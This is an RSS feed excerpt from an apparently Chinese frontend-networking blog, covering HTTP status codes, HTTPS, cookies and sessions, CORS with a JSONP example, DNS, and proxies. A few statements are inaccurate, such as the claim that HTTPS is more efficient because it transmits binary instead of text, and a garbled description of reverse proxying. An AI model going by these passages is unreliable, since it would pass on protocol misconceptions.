&lt;/ul&gt;</description></item><item><title>http状态码</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/network/network-004/</link><pubDate>Mon, 28 Jul 2025 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/network/network-004/</guid><description>&lt;h2 id="一http-状态码概述"&gt;一、HTTP 状态码概述&lt;/h2&gt;
&lt;h3 id="1-概念"&gt;1. 概念&lt;/h3&gt;
&lt;p&gt;当我们在浏览器输入URL并按下Enter键时，浏览器就会向站点的服务器发送一个HTTP请求，服务器接收并处理请求，然后将相关资源和HTTP标头一起返回。可以在浏览器的Network中查看 HTTP 的请求状态码：&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/network-004/image-01.webp"&gt;&lt;/p&gt;
&lt;p&gt;维基百科中对&lt;strong&gt;HTTP状态码&lt;/strong&gt;的解释：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;HTTP状态码（HTTP Status Code）是用以表示网页服务器超文本传输协议响应状态的3位数字代码。它由 RFC 2616 规范定义的，并得到 RFC 2518、RFC 2817、RFC 2295、RFC 2774 与 RFC 4918 等规范扩展。所有状态码被分为五类，状态码的第一个数字代表了响应的五种状态之一。所示的消息短语是典型的，但是可以提供任何可读取的替代方案。 除非另有说明，状态码是HTTP/1.1标准（RFC 7231）的一部分。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;HTTP 状态代码是从 Web 服务器发送的 3 位代码（如 200 OK 或 404 Not Found），用于让我们和搜索引擎知道请求中是否存在任何错误或服务器尝试处理请求时是否存在任何问题。&lt;/p&gt;
&lt;h3 id="2-分类"&gt;2. 分类&lt;/h3&gt;
&lt;p&gt;应用通常就是客户端向服务器发出请求，服务器做出响应。状态码就是让我们知道 HTTP 请求是成功、失败还是其他。HTTP状态码通常分为五类：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;strong&gt;类别&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;定义&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;描述&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1xx&lt;/td&gt;
&lt;td&gt;Informational(信息性状态码)&lt;/td&gt;
&lt;td&gt;接受的请求正在处理&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2xx&lt;/td&gt;
&lt;td&gt;Success(成功状态码)&lt;/td&gt;
&lt;td&gt;请求正常处理完毕&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3xx&lt;/td&gt;
&lt;td&gt;Redirection(重定向状态码)&lt;/td&gt;
&lt;td&gt;需要进行附加操作来完成请求&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4xx&lt;/td&gt;
&lt;td&gt;Client Error (客户端错误状态码)&lt;/td&gt;
&lt;td&gt;服务器无法处理请求&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5xx&lt;/td&gt;
&lt;td&gt;Server Error(服务器错误状态码)&lt;/td&gt;
&lt;td&gt;服务器处理请求出错&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="3-重要性"&gt;3. 重要性&lt;/h3&gt;
&lt;p&gt;HTTP 状态代码对于诊断应用问题很重要，例如网络服务器是否无法正常工作且无法提供页面等。快速发现这些问题对于开发人员和搜索引擎提供良好的体验非常重要。那为什么 HTTP 状态代码和错误对搜索引擎优化 (SEO) 很重要呢？&lt;/p&gt;</description></item><item><title>http和https</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/network/http-https/</link><pubDate>Mon, 28 Jul 2025 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/network/http-https/</guid><description>&lt;h2 id="http"&gt;HTTP&lt;/h2&gt;
&lt;h3 id="基础"&gt;基础&lt;/h3&gt;
&lt;p&gt;HTTP 超文本传输协议 ，应用层协议。主要用于 Web 上传输超媒体文本的底层协议，经常在浏览器和服务器之间传递数据。通信就是以纯文本的形式进行。&lt;/p&gt;
&lt;h3 id="http-是无状态"&gt;HTTP 是无状态&lt;/h3&gt;
&lt;p&gt;无状态是 HTTP 协议对客户端请求状态没有进行存储，比如每次请求都需要重新登录&lt;/p&gt;
&lt;h3 id="http-是无连接"&gt;HTTP 是无连接&lt;/h3&gt;
&lt;p&gt;无连接主要是限制每次连接只处理一个请求。每次请求都是客户发起请求，服务端响应请求，然后就断开连接。这期间就是通过三次握手建立连接，四次挥手断开连接。每次请求即便是多次请求并请求同一个资源，服务端都无法判断是否是相同请求，都需要重新响应请求。&lt;/p&gt;
&lt;p&gt;所以，为了解决客户端和服务端保持会话连接，通过 cookie 和 session 来记录 http 状态。&lt;/p&gt;
&lt;p&gt;HTTP 的其他特点是简单快速，只需传送方法和路径就可以向服务端进行请求；还有支持传输任意类型的数据对象。&lt;/p&gt;
&lt;h2 id="https"&gt;HTTPS&lt;/h2&gt;
&lt;h3 id="基础-1"&gt;基础&lt;/h3&gt;
&lt;p&gt;https 是 http 的“升级”版本：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;HTTPS = HTTP+ SSL/TLS
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;SSL 是安全层，TLS 是传输层安全，是SSL 的继承。使用SSL或TLS 可确保传输数据的安全性。&lt;/p&gt;
&lt;p&gt;使用 HTTP 可能看到传输数据是： “这是明文信息”&lt;/p&gt;
&lt;p&gt;使用 HTTPS 可能看到： “283hd9saj9cdsncihquhs99ndso”&lt;/p&gt;
&lt;p&gt;HTTPS 传输的不再是文本，而是二进制流，使得传输更高效，且加密处理更加安全。&lt;/p&gt;
&lt;h3 id="https-的工作流程"&gt;HTTPS 的工作流程&lt;/h3&gt;
&lt;p&gt;1、客户端请求 HTTPS 请求并连接到服务器的 443 端口，此过程和请求 HTTP 请求一样，进行三次握手；&lt;/p&gt;
&lt;p&gt;2、服务端向客户端发送数字证书，其中包含公钥、证书颁发者、到期日期&lt;/p&gt;
&lt;p&gt;现比较流行的加解密码对，即公钥和私钥。公钥用于加密，私钥用于解密。所以服务端会保留私钥，然后发送公钥给客户端。&lt;/p&gt;
&lt;p&gt;3、客户端收到证书，会验证证书的有效性。验证通过后会生成一个随机的 pre-master key。再将密钥通过接收到的公钥加密然后发送给服务端&lt;/p&gt;
&lt;p&gt;4、服务端接收后使用私钥进行解密得到 pre-master key&lt;/p&gt;
&lt;p&gt;5、获得 pre-master key 后，服务器和客户端可以使用主密钥进行通信。&lt;/p&gt;</description></item><item><title>Cookie 和 Session</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/network/cookie-session/</link><pubDate>Mon, 28 Jul 2025 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/network/cookie-session/</guid><description>&lt;h2 id="cookie-和-session"&gt;Cookie 和 Session&lt;/h2&gt;
&lt;p&gt;HTTP 协议是一种&lt;code&gt;无状态协议&lt;/code&gt;，即每次服务端接收到客户端的请求时，都是一个全新的请求，服务器并不知道客户端的历史请求记录；Session 和 Cookie 的主要目的就是为了弥补 HTTP 的无状态特性。&lt;/p&gt;
&lt;h3 id="session-是什么"&gt;Session 是什么&lt;/h3&gt;
&lt;p&gt;客户端请求服务端，服务端会为这次请求开辟一块&lt;code&gt;内存空间&lt;/code&gt;，这个对象便是 Session 对象，存储结构为 &lt;code&gt;ConcurrentHashMap&lt;/code&gt;。Session 弥补了 HTTP 无状态特性，服务器可以利用 Session 存储客户端在同一个会话期间的一些操作记录。&lt;/p&gt;
&lt;h3 id="session-如何判断是否是同一会话"&gt;Session 如何判断是否是同一会话&lt;/h3&gt;
&lt;p&gt;服务器第一次接收到请求时，开辟了一块 Session 空间（创建了Session对象），同时生成一个 sessionId ，并通过响应头的 **Set-Cookie：JSESSIONID=XXXXXXX **命令，向客户端发送要求设置 Cookie 的响应； 客户端收到响应后，在本机客户端设置了一个 &lt;strong&gt;JSESSIONID=XXXXXXX&lt;/strong&gt; 的 Cookie 信息，该 Cookie 的过期时间为浏览器会话结束；&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/cookie-session/image-01.png"&gt;&lt;/p&gt;
&lt;p&gt;接下来客户端每次向同一个网站发送请求时，请求头都会带上该 Cookie信息（包含 sessionId ）， 然后，服务器通过读取请求头中的 Cookie 信息，获取名称为 JSESSIONID 的值，得到此次请求的 sessionId。&lt;/p&gt;
&lt;h3 id="session-的缺点"&gt;Session 的缺点&lt;/h3&gt;
&lt;p&gt;Session 机制有个缺点，比如 A 服务器存储了 Session，就是做了负载均衡后，假如一段时间内 A 的访问量激增，会转发到 B 进行访问，但是 B 服务器并没有存储 A 的 Session，会导致 Session 的失效。&lt;/p&gt;
&lt;h3 id="cookies-是什么"&gt;Cookies 是什么&lt;/h3&gt;
&lt;p&gt;HTTP 协议中的 Cookie 包括 &lt;code&gt;Web Cookie&lt;/code&gt; 和&lt;code&gt;浏览器 Cookie&lt;/code&gt;，它是服务器发送到 Web 浏览器的一小块数据。服务器发送到浏览器的 Cookie，浏览器会进行存储，并与下一个请求一起发送到服务器。通常，它用于判断两个请求是否来自于同一个浏览器，例如用户保持登录状态。&lt;/p&gt;</description></item><item><title>跨域相关</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/network/network-007/</link><pubDate>Mon, 28 Jul 2025 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/network/network-007/</guid><description>&lt;h2 id="一什么是跨域"&gt;一、什么是跨域？&lt;/h2&gt;
&lt;h3 id="1什么是同源策略及其限制内容"&gt;1.什么是同源策略及其限制内容？&lt;/h3&gt;
&lt;p&gt;同源策略是一种约定，它是浏览器最核心也最基本的安全功能，如果缺少了同源策略，浏览器很容易受到XSS、CSRF等攻击。所谓同源是指&amp;quot;协议+域名+端口&amp;quot;三者相同，即便两个不同的域名指向同一个ip地址，也非同源。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/network-007/image-01.webp"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;同源策略限制内容有：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Cookie、LocalStorage、IndexedDB 等存储性内容&lt;/li&gt;
&lt;li&gt;DOM 节点&lt;/li&gt;
&lt;li&gt;AJAX 请求发送后，结果被浏览器拦截了&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;但是有三个标签是允许跨域加载资源：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;img src=XXX&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;link href=XXX&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;script src=XXX&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="2常见跨域场景"&gt;2.常见跨域场景&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;当协议、子域名、主域名、端口号中任意一个不相同时，都算作不同域&lt;/strong&gt;。不同域之间相互请求资源，就算作“跨域”。常见跨域场景如下图所示：&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/network-007/image-02.webp"&gt;&lt;/p&gt;
&lt;p&gt;特别说明两点：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第一：如果是协议和端口造成的跨域问题“前台”是无能为力的。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第二：在跨域问题上，仅仅是通过“URL的首部”来识别而不会根据域名对应的IP地址是否相同来判断。“URL的首部”可以理解为“协议, 域名和端口必须匹配”&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;这里你或许有个疑问：&lt;strong&gt;请求跨域了，那么请求到底发出去没有？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;跨域并不是请求发不出去，请求能发出去，服务端能收到请求并正常返回结果，只是结果被浏览器拦截了&lt;/strong&gt;。你可能会疑问明明通过表单的方式可以发起跨域请求，为什么 Ajax 就不会?因为归根结底，跨域是为了阻止用户读取到另一个域名下的内容，Ajax 可以获取响应，浏览器认为这不安全，所以拦截了响应。但是表单并不会获取新的内容，所以可以发起跨域请求。同时也说明了跨域并不能完全阻止 CSRF，因为请求毕竟是发出去了。&lt;/p&gt;
&lt;h2 id="二跨域解决方案"&gt;二、跨域解决方案&lt;/h2&gt;
&lt;h3 id="1jsonp"&gt;1.jsonp&lt;/h3&gt;
&lt;h4 id="1-jsonp原理"&gt;1) JSONP原理&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;利用 &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; 标签没有跨域限制的漏洞，网页可以得到从其他来源动态产生的 JSON 数据。JSONP请求一定需要对方的服务器做支持才可以。&lt;/strong&gt;&lt;/p&gt;
&lt;h4 id="2-jsonp和ajax对比"&gt;2) JSONP和AJAX对比&lt;/h4&gt;
&lt;p&gt;JSONP和AJAX相同，都是客户端向服务器端发送请求，从服务器端获取数据的方式。但AJAX属于同源策略，JSONP属于非同源策略（跨域请求）&lt;/p&gt;
&lt;h4 id="3-jsonp优缺点"&gt;3) JSONP优缺点&lt;/h4&gt;
&lt;p&gt;JSONP优点是简单兼容性好，可用于解决主流浏览器的跨域数据访问的问题。&lt;strong&gt;缺点是仅支持get方法具有局限性,不安全可能会遭受XSS攻击。&lt;/strong&gt;&lt;/p&gt;
&lt;h4 id="4-jsonp的实现流程"&gt;4) JSONP的实现流程&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;声明一个回调函数，其函数名(如show)当做参数值，要传递给跨域请求数据的服务器，函数形参为要获取目标数据(服务器返回的data)。&lt;/li&gt;
&lt;li&gt;创建一个&lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt;标签，把那个跨域的API数据接口地址，赋值给script的src,还要在这个地址中向服务器传递该函数名（可以通过问号传参:?callback=show）。&lt;/li&gt;
&lt;li&gt;服务器接收到请求后，需要进行特殊的处理：把传递进来的函数名和它需要给你的数据拼接成一个字符串,例如：传递进去的函数名是show，它准备好的数据是&lt;code&gt;show('我不爱你')&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;最后服务器把准备的数据通过HTTP协议返回给客户端，客户端再调用执行之前声明的回调函数（show），对返回的数据进行操作。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在开发中可能会遇到多个 JSONP 请求的回调函数名是相同的，这时候就需要自己封装一个 JSONP函数。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;// index.html
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;function jsonp({ url, params, callback }) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; return new Promise((resolve, reject) =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; let script = document.createElement(&amp;#39;script&amp;#39;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; window[callback] = function(data) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; resolve(data)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; document.body.removeChild(script)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; params = { ...params, callback } // wd=b&amp;amp;callback=show
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; let arrs = []
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; for (let key in params) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; arrs.push(`${key}=${params[key]}`)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; script.src = `${url}?${arrs.join(&amp;#39;&amp;amp;&amp;#39;)}`
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; document.body.appendChild(script)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; })
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;jsonp({
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; url: &amp;#39;http://localhost:3000/say&amp;#39;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; params: { wd: &amp;#39;Iloveyou&amp;#39; },
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; callback: &amp;#39;show&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}).then(data =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; console.log(data)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;})
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;上面这段代码相当于向&lt;code&gt;http://localhost:3000/say?wd=Iloveyou&amp;amp;callback=show&lt;/code&gt;这个地址请求数据，然后后台返回&lt;code&gt;show('我不爱你')&lt;/code&gt;，最后会运行show()这个函数，打印出&amp;rsquo;我不爱你'&lt;/p&gt;</description></item><item><title>DNS解析</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/network/network-008/</link><pubDate>Mon, 28 Jul 2025 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/network/network-008/</guid><description>&lt;p&gt;TCP/IP提供了通过 &lt;code&gt;IP地址&lt;/code&gt; 来连接到设备的功能，但对用户来讲，记住某台设备的IP地址是相当困难的，因此专门设计了一种字符串形式的主机命名机制，这些主机名与IP地址相对应。在IP地址与主机名之间需要有一种转换和查询机制，提供这种机制的系统就是域名系统DNS（Domain Name System）。&lt;/p&gt;
&lt;h2 id="为什么要有dns"&gt;为什么要有DNS？&lt;/h2&gt;
&lt;p&gt;互联网中，一台计算机与其他计算机通信时，通过 &lt;code&gt;IP地址&lt;/code&gt; 唯一的标志自己。此时的IP地址就类似于我们日常生活中的电话号码。但是，这种纯数字的标识是比较难记忆的，而且数量也比较庞大。例如，每个IPv4地址是一个32位长的二进制数字，或者采用点分十进制展示成192.168.1.1这种格式，有接近43亿个的IPv4地址。DNS的作用就是将人类可读的名称转换为机器识别的IP地址，供计算机相互连接。DNS的工作原理和电话簿相似，都是管理名称和数字之间的映射关系。就像我们日常打电话，一般使用人名查找，很少直接输入电话号码一样。当我们上网打开某个网页、视频时，也很少直接使用IP地址，而是在浏览器里输入的URL地址，例如：&lt;code&gt;https://www.huawei.com&lt;/code&gt;，这其实使用的就是计算机的名字，一般称为域名。&lt;/p&gt;
&lt;h2 id="域名的构成"&gt;域名的构成&lt;/h2&gt;
&lt;p&gt;最初设备的域名由字符序列组成、所有设备的域名组成一个未分级的域名结构。未分级的域名结构存在命名冲突、管理维护复杂的缺点。因此，TCP/IP把DNS的域名设计成了分级的树状结构。每个申请加入Internet的国家都要向NIC注册一个顶级域名，顶级域采用组织模式和地理模式的划分模式，如cn代表中国、us代表美国等。&lt;/p&gt;
&lt;p&gt;常见的顶级域名如下表所示。NIC将顶级域的管理权分派给由其指定的管理机构，由这些管理机构再对被授权管理的域继续进行划分，从而形成了二级域。负责划分二级域的管理机构可以授权其下属的管理结构，由它们继续划分域。由此下去，便形成了层次型的Internet域名体系结构。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;顶级Internet域名&lt;/th&gt;
&lt;th&gt;含义&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;com&lt;/td&gt;
&lt;td&gt;商业组织&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;edu&lt;/td&gt;
&lt;td&gt;教育机构&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;gov&lt;/td&gt;
&lt;td&gt;政府机构&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;mil&lt;/td&gt;
&lt;td&gt;军事部门&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;net&lt;/td&gt;
&lt;td&gt;主要网络支持中心&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;int&lt;/td&gt;
&lt;td&gt;国际组织&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;org&lt;/td&gt;
&lt;td&gt;其他组织&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;国家代码&lt;/td&gt;
&lt;td&gt;国家（按照地理模式划分）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;从语法上讲，每一个域名都是有标号序列组成，而各标号之间用点（小数点）隔开。以www.huawei.com域名为例，从右到左依次是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;com：顶级域名。代表商业组织。&lt;/li&gt;
&lt;li&gt;huawei：二级域名，归属于某个公司自己的域名。&lt;/li&gt;
&lt;li&gt;www：三级域名，表明某个公司提供的是什么服务，www代表普通网页。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="dns服务器dns客户端和dns中继"&gt;DNS服务器、DNS客户端和DNS中继&lt;/h2&gt;
&lt;p&gt;网络中与DNS相关的设备角色包括DNS服务器、DNS客户端和DNS中继。&lt;/p&gt;
&lt;h3 id="dns服务器"&gt;DNS服务器&lt;/h3&gt;
&lt;p&gt;DNS服务器是将域名指向对应IP地址的服务器。DNS服务器中保存了一张域名和与之相对应的IP地址的表，以解析消息的域名。&lt;/p&gt;
&lt;p&gt;由于互联网连通的是全球资源，单一的域名服务器不足以支撑全部的地址转换操作，因此全球有多套域名服务器相互配合使用。&lt;/p&gt;
&lt;p&gt;域名是分层结构，域名DNS服务器也是对应的层级结构。通过根域名服务器，依次请求顶级域名服务器和权威域名服务器，最终获取对应IP地址，并将该结果保存在本地域名服务器，以待下次DNS请求使用。当用户再次对同一域名发起访问时，可以直接从本地域名服务器获得结果，无需再次发起全球递归查询。&lt;/p&gt;
&lt;p&gt;表1-2 DNS服务器的分类&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;分类&lt;/th&gt;
&lt;th&gt;作用&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;根DNS服务器&lt;/td&gt;
&lt;td&gt;根DNS服务器是最高层次的域名服务器，它知道所有顶级服务器的域名和IP地址，当本地域名服务器无法对域名进行解析时，首先对根域名服务器发起请求。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;顶级域名服务器&lt;/td&gt;
&lt;td&gt;顶级域名服务器负责管理该服务器下的所有二级域名，当收到DNS查询请求时，就会给权威域名服务器相应的回答。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;权威域名服务器&lt;/td&gt;
&lt;td&gt;负责某一个区域的域名服务器。当一个顶级域名服务器还不能给出最后查询回答时，就会告知下一步应当请求的权威域名服务器。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;本地域名服务器&lt;/td&gt;
&lt;td&gt;当一个主机发出DNS查询请求时，这个查询请求报文就发送给本地域名服务器。每一个互联网服务提供者ISP都可以拥有一个本地域名服务器。当本地域名服务器无法给出应答时，就会请求最高级的根域名服务器。&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="dns客户端"&gt;DNS客户端&lt;/h3&gt;
&lt;p&gt;DNS客户端的作用是接收用户程序（User Program）的DNS请求，并对其作出回应。作为DNS客户端的设备上一般具备以下能力：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;启动DNS解析 要使用DNS客户端功能，需要在设备上打开DNS解析的开关。&lt;/li&gt;
&lt;li&gt;指定服务器的IP地址 要进行DNS域名解析，需要在设备上指定DNS服务器的IP地址。这样才能把查询请求发动到正确的DNS服务器上进行解析。&lt;/li&gt;
&lt;li&gt;指定DNS域后缀搜索列表 DNS客户端所访问的一些服务器或主机的域名后缀往往都是相同的。用户可以预先设置一些域名后缀，在域名解析的时候，用户只需要输入域名的部分字段，系统会自动将输入域名加上不同的后缀进行解析。例如，用户想查询域名“huawei.com”，那么可以在后缀列表中配置com，然后输入“huawei”，系统会自动将输入域名与后缀连接成“huawei.com”进行查询。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="dns中继"&gt;DNS中继&lt;/h3&gt;
&lt;p&gt;当DNS服务器的IP地址发生变化时，用户网络中每个DNS客户端上的配置都需要改变，这样工作量极大并且容易出错。此时，可以通过部署DNS中继解决该问题。DNS客户端上配置DNS中继的IP地址，DNS服务器的IP地址在DNS中继上配置。之后，DNS客户端会将DNS请求报文直接发送给DNS中继，由DNS中继将收到的DNS请求报文转发至DNS服务器。由此，当DNS服务器的IP地址发生变化时，仅需改变DNS中继上的配置即可，简化了网络管理。&lt;/p&gt;
&lt;p&gt;DNS中继的工作原理&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;DNS客户端将DNS请求报文发送给DNS中继，即请求报文的目的地址为DNS中继的IP地址。&lt;/li&gt;
&lt;li&gt;DNS中继收到请求报文后，将报文转发给DNS服务器，通过DNS服务器进行域名解析。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="dns域名解析过程"&gt;DNS域名解析过程&lt;/h2&gt;
&lt;p&gt;通过域名获取对应IP地址的过程称为域名解析。DNS域名解析分为以下两种方式：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;静态域名解析 静态域名解析是通过静态域名解析表进行的，即手动建立域名和IP地址之间的对应关系表，该表的作用可以将一些常用的域名放入表中。当DNS客户端需要域名所对应的IP地址时，即到静态域名解析表中去查找指定的域名，从而获得所对应的IP地址，提高域名解析的效率&lt;/li&gt;
&lt;li&gt;动态域名解析 动态域名解析需要专用的域名解析服务器（DNS服务器）运行域名解析服务器程序，提供从域名到IP地址的映射关系，负责接收客户提出的域名解析请求。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;为提高查询速度，在解析域名时，首先采用静态域名解析的方法，如果静态解析不成功，再采用动态域名解析的方法。&lt;/p&gt;</description></item><item><title>正向代理和反向代理</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/network/network-009/</link><pubDate>Mon, 28 Jul 2025 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/network/network-009/</guid><description>&lt;h3 id="1-概念"&gt;1. 概念&lt;/h3&gt;
&lt;p&gt;正向代理是一个位于客户端和目标服务器之间的代理服务器(中间服务器)。为了从原始服务器取得内容，客户端向代理服务器发送一个请求，并且指定目标服务器，之后代理向目标服务器转交并且将获得的内容返回给客户端。正向代理的情况下客户端必须要进行一些特别的设置才能使用。&lt;/p&gt;
&lt;p&gt;反向代理正好相反。对于客户端来说，反向代理就好像目标服务器。并且客户端不需要进行任何设置。客户端向反向代理发送请求，接着反向代理判断请求走向何处，并将请求转交给客户端，使得这些内容就好似他自己一样，一次客户端并不会感知到反向代理后面的服务，也因此不需要客户端做任何设置，只需要把反向代理服务器当成真正的服务器就好了。&lt;/p&gt;
&lt;h3 id="2-区别"&gt;2. 区别&lt;/h3&gt;
&lt;p&gt;正向代理需要你主动设置代理服务器ip或者域名进行访问，由设置的服务器ip或者域名去获取访问内容并返回；而反向代理不需要你做任何设置，直接访问服务器真实ip或者域名，但是服务器内部会自动根据访问内容进行跳转及内容返回，你不知道它最终访问的是哪些机器。&lt;/p&gt;
&lt;p&gt;正向代理是代理客户端，为客户端收发请求，使真实客户端对服务器不可见；而反向代理是代理服务器端，为服务器收发请求，使真实服务器对客户端不可见。&lt;/p&gt;
&lt;p&gt;从上面的描述也能看得出来正向代理和反向代理最关键的两点区别：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;是否指定目标服务器&lt;/li&gt;
